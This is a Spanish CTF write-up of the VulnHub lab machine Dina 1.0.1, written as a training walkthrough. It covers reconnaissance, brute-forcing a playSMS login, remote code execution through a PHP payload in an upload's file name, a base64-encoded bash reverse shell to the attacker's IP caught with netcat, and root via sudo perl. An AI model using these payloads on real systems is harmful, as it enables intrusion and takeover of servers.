Dina 1.0.1 - Vulnhub
DESCRIPCION
En este post vamos a realizar el ctf de la máquina Dina 1.0.1, utilizaremos técnicas de reconocimiento, fuerza bruta, una vulnerabilidad que explota un formulario con el cual conseguiremos RCE, y escalada de privilegios a través de sudo.
INDICE
- Reconocimiento
- Reconocimiento web
- Fuerza bruta
- Explotación de PlaySMS
- Escalada de privilegios
- Flag
- Conocimientos obtenidos
- Autores y Descarga
RECONOCIMIENTO
Empezaremos con el típico reconocimiento con nmap a la ip de la máquina víctima, en este caso 192.168.1.63
.
nmap --open -p- -T5 192.168.1.63 -oG Puertos
Nmap scan report for 192.168.1.63
Host is up (0.00026s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 2.52 seconds
Solo hemos encontrado un puerto abierto, en este caso se trata de un servido web montado sobre el puerto 80. Vamos a lanzarle los scripts más comunes que tiene nmap con:
❯ cat Objetivos
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: Objetivos
│ Size: 933 B
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ nmap -sCV -O -p 80 -Pn -oN Objetivos 192.168.1.63
2 │ Nmap scan report for 192.168.1.63
3 │ Host is up (0.00020s latency).
4 │ #!/bin/bash
5 │ PORT STATE SERVICE VERSION
6 │ 80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
7 │ |_http-title: Dina
8 │ |_http-server-header: Apache/2.2.22 (Ubuntu)
9 │ | http-robots.txt: 5 disallowed entries
10 │ |_/ange1 /angel1 /nothing /tmp /uploads
11 │ MAC Address: 08:00:27:FC:43:A5 (Oracle VirtualBox virtual NIC)
12 │ Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
13 │ Device type: general purpose
14 │ Running: Linux 2.6.X|3.X
15 │ OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
16 │ OS details: Linux 2.6.32 - 3.5
17 │ Network Distance: 1 hop
18 │
El resultado no sería muy interesante, excepto por un archivo encontrado con un script de nmap, robots.txt. Este archivo sugiere al buscador que no indexe las urls encontradas dentro de este archivo .txt,
pero hay que tener mucho cuidado, ya que al ser un archivo público cualquiera puede consultarlo, vamos a echarle un ojo en ‘http://192.168.1.63/robots.txt’:
RECONOCIMINETO WEB
Robots.txt
User-agent: *
Disallow: /ange1
Disallow: /angel1
Disallow: /nothing
Disallow: /tmp
Disallow: /uploads
Interesante, vemos distintos directorios los cuales podemos visitar, vamos a ver que encontramos.
a few minutes later
Una vez revisados todos los directorios, el unico que parece util es /nothing
veamos que contiene:
Pues hasta la propia página nos lo dice, aquí no hay nada, vámonos…
¡No tan rápido!
¿Muy sospechoso no crees?
A ver ese código fuente:
<html>
<head><title>404 NOT FOUND</title></head>
<body>
<!--
#my secret pass
freedom
password
helloworld!
diana
iloveroot
-->
<h1>NOT FOUND</html>
<h3>go back</h3>
</body>
</html>
¡Sorpresa! Teníamos un diccionario escondido en el html en forma de comentario, y pensar que casi nos íbamos con las manos vacías. Vamos a guardar estas credenciales que nos vendrán bien en un futuro. No parece que tengamos más hilo del que tirar, vamos a intentar encontrar más directorios utilizando fuerza bruta, voy a usar WFUZZ para esta tarea.
WFUZZ
wfuzz -c --hc 404 -u http://192.168.1.63/FUZZ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.63/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000003: 200 199 L 429 W 3618 Ch "# Copyright 2007 James Fisher"
000000007: 200 199 L 429 W 3618 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000015: 200 199 L 429 W 3618 Ch "index"
000000014: 200 199 L 429 W 3618 Ch "http://192.168.1.63/"
000000012: 200 199 L 429 W 3618 Ch "# on at least 2 different hosts"
000000011: 200 199 L 429 W 3618 Ch "# Priority ordered case-sensitive list, where entries were found"
000000004: 200 199 L 429 W 3618 Ch "#"
000000002: 200 199 L 429 W 3618 Ch "#"
000000009: 200 199 L 429 W 3618 Ch "# Suite 300, San Francisco, California, 94105, USA."
000000008: 200 199 L 429 W 3618 Ch "# or send a letter to Creative Commons, 171 Second Street,"
000000006: 200 199 L 429 W 3618 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this"
000000010: 200 199 L 429 W 3618 Ch "#"
000000005: 200 199 L 429 W 3618 Ch "# This work is licensed under the Creative Commons"
000000013: 200 199 L 429 W 3618 Ch "#"
000000164: 301 9 L 28 W 314 Ch "uploads"
000000853: 301 9 L 28 W 313 Ch "secure"
000001765: 200 6 L 12 W 102 Ch "robots"
000000001: 200 199 L 429 W 3618 Ch "# directory-list-2.3-medium.txt"
000003237: 301 9 L 28 W 310 Ch "tmp"
000010575: 301 9 L 28 W 314 Ch "nothing"
¿Secure? Veamos si es tan seguro como indica el nombre.
Con que una copia de seguridad, vamos a descomprimirla con 7z x backup.zip
a ver que encontramos.
Scanning the drive for archives:
1 file, 336 bytes (1 KiB)
Extracting archive: backup.zip
--
Path = backup.zip
Type = zip
Physical Size = 336
Enter password (will not be echoed):
FUERZA BRUTA
Nada, se necesita contraseña, aquí hemos acabado… ¡Espera! Tenemos el diccionario que se encontraba en http://192.168.1.63/nothing/
vamos a probar con la primera contraseña ‘freedom’:
Enter password (will not be echoed):
Everything is Ok
Size: 176
Compressed: 336
¡A la primera! Eso sí que es suerte, veamos que contiene backup-cred.mp3
un archivo mp3, ¿qué será? Parecen ser más credenciales en formato audio, vamos a escucharlo:
Eso sí que ha sido un buen intento, ha ocultado la extensión del archivo .txt haciéndolo pasar por una pista de audio. Habrá que ver que nos encontramos:
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: backup-cred.mp3
│ Size: 176 B
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ I am not toooo smart in computer .......dat the resoan i always choose easy password...with creds backup file....
3 │
4 │ uname: touhid
5 │ password: ******
6 │
7 │
8 │ url : /SecreTSMSgatwayLogin
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
¡Tenemos un usuario y un nuevo directorio! La contraseña parece no encontrarse en este archivo. Visitamos http://192.168.1.63/SecreTSMSgatwayLogin/
.
Un panel de login, recordamos que tenemos un posible usuario touhid
y un diccionario con diferentes credenciales freedom, password, helloworld!, diana, iloveroot
. Vamos a
probar por fuerza bruta a ver si tenemos suerte.
Diccionario
freedom ERROR
password ERROR
helloworld! ERROR
diana BINGO
iloveroot ERROR
EXPLOTACION DE PLAYSMS
La contraseña era diana
, en este momento hemos accedido al panel del usuario touhid
, una vez aquí podemos estudiar los diferentes vectores de ataque que tiene playSMS, toca googlear. Investigando
sobre playSMS encontré diferentes vías de ataque que te daban acceso directo a la máquina en Metasploit, pero en mi opinión pierde un poco la gracia, por lo que seguí investigando hasta que di con este
exploit:
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload | php/webapps/42003.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Esta vulnerabilidad se resumen en obtener RCE a través de un formulario, el cual nos permite “subir” archivos al servidor, pero el RCE no es el contenido del archivo, ya que no se almacena en el servidor,
es el nombre, es decir, poniendo de nombre al archivo <?php system('uname -a'); dia();?>.php
se ejecutará el comando en el servidor:
Formulario
Resultado
¡Bum! RCE exitoso. En este momento podemos enviar una reverse shell en el nombre del archivo y tendríamos conexión a la máquina víctima. Voy a utilizar burpsuite para interceptar la petición,
modificar el payload y enviarlo al servidor
Burpsuite
Injeccion reverse shell
Podríamos pensar que siguiendo este método obtendríamos la shell, pero cualquier comando que utilice /
nos da un error, por ello investigando diferentes formas de evitar el uso de / dí con la clave,
gracias a NetOsec, enviar el comando en base64.
La sintaxis para transformar una cadena de texto a base64 es:
echo -n "cadena" | base64
.
La reverse shell en base64 quedaría tal que así bash -i >& /dev/tcp/192.168.1.84/1234 0>&1 = YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuODQvMTIzNCAwPiYx
.
Nos ponemos por escucha en el puerto indicado e inyectamos el comando en base64, le pasamos el párametro -d para decodificarlo a texto plano y lo pipeamos con bash
para que el servidor ejecute
la reverse shell en bash. Nos quedará tal que así: echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuODQvMTIzNCAwPiYx-n | base64 -d | bash
Escucha con NetCat
❯ nc -lvnp 1234
listening on [any] 1234 ...
Inyectar reverse shell con burpsuite
Dejamos pasar la petición con la shell inyectada y….
❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.84] from (UNKNOWN) [192.168.1.63] 51716
bash: no job control in this shell
www-data@Dina:/var/www/SecreTSMSgatwayLogin$
Todo un exito, en este momento solo nos queda la escalada de privilegios.
ESCALADA DE PRIVILEGIOS
Vamos a ver si tenemos algún permiso de super usuario como www-data con sudo -l
.
sudo -l
Matching Defaults entries for www-data on this host:
env_reset,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on this host:
(ALL) NOPASSWD: /usr/bin/perl
www-data@Dina:/var/www/SecreTSMSgatwayLogin$
Pues por lo que se ve, esta escalada de privilegios no va a durar mucho… Tiramos de GTFOBins
www-data@Dina:/var/www/SecreTSMSgatwayLogin$ whoami
whoami
www-data
www-data@Dina:/var/www/SecreTSMSgatwayLogin$ sudo perl -e 'exec "/bin/sh";'
sudo perl -e 'exec "/bin/sh";'
whoami
root
Se acabó la escalada, esta vez ha sido sencilla y directa.
FLAG
Con permisos root nos dirigimos al directorio /root/
y leemos la flag
cat flag.txt
________ _________
\________\--------___ ___ ____----------/_________/
\_______\----\\\\\\ //_ _ \\ //////-------/________/
\______\----\\|| (( ~|~ ))) ||//------/________/
\_____\---\\ ((\ = / ))) //----/_____/
\____\--\_))) \ _)))---/____/
\__/ ((( (((_/
| -))) - ))
root password is : hello@3210
easy one .....but hard to guess.....
but i think u dont need root password......
u already have root shelll....
CONGO.........
FLAG : 22d0xxxxxxxxxxxxxxxxxxxxxxxxxxxx
CONOCIMIENTOS OBTENIDOS
De esta máquina podemos extraer los siguientes conocimientos:
- Reconocimiento con nmap.
- Reconocimiento de directorios web utilizado WFUZZ.
- Explotación de un formulario consiguiendo RCE.
- Uso de Burpsuite para modificar las peticiones.
- Escalada de privilegios a través de sudo.
AUTORES Y DESCARGA
El autor de esta máquina es Touhid Shaikh, muchas gracias por la creación de Dina 1.0.1 aportando a la comunidad. Twitter, WEB
Autor del write up: Luis Miranda Sierra.
Podéis descargar la máquina desde aquí VulnHub